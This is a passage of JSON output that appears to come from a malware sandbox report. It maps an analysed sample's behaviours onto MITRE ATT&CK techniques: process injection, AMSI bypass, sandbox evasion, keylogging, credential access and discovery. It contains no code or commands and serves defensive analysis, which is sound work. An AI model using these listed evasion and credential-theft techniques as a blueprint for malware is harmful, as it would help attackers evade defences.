malicious"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Contains reference to Hijacked CLSID(s)"},{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"},{"type":"informative","value":"Possible DLL sideloading"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Able to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Able to detect if debugger is present"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"},{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"},{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"},{"type":"informative","value":"Imports SHEmptyRecycleBin API"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-size sections"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual/sandbox environment"},{"type":"informative","value":"Contains a Wine emulator-related string"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Able to identify virtual/sandbox environment devices"},{"type":"informative","value":"Able to identify sandbox environment running process"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Able to load content into memory (.NET)"},{"type":"informative","value":"Able to decode string content at runtime (.NET)"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"suspicious","value":"Calls an API typically used for keylogging"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"informative","value":"Contains references to the retrieval of internet session handle (imports API)"},{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"malicious","value":"Tries to identify its external IP address"},{"type":"malicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"informative","value":"Opens registry keys"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":".NET code is able to query registry"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"References to WMI query strings used for process discovery"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"},{"type":"suspicious","value":"Calls an API typically used to retrieve the current status of the specified service"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"},{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API 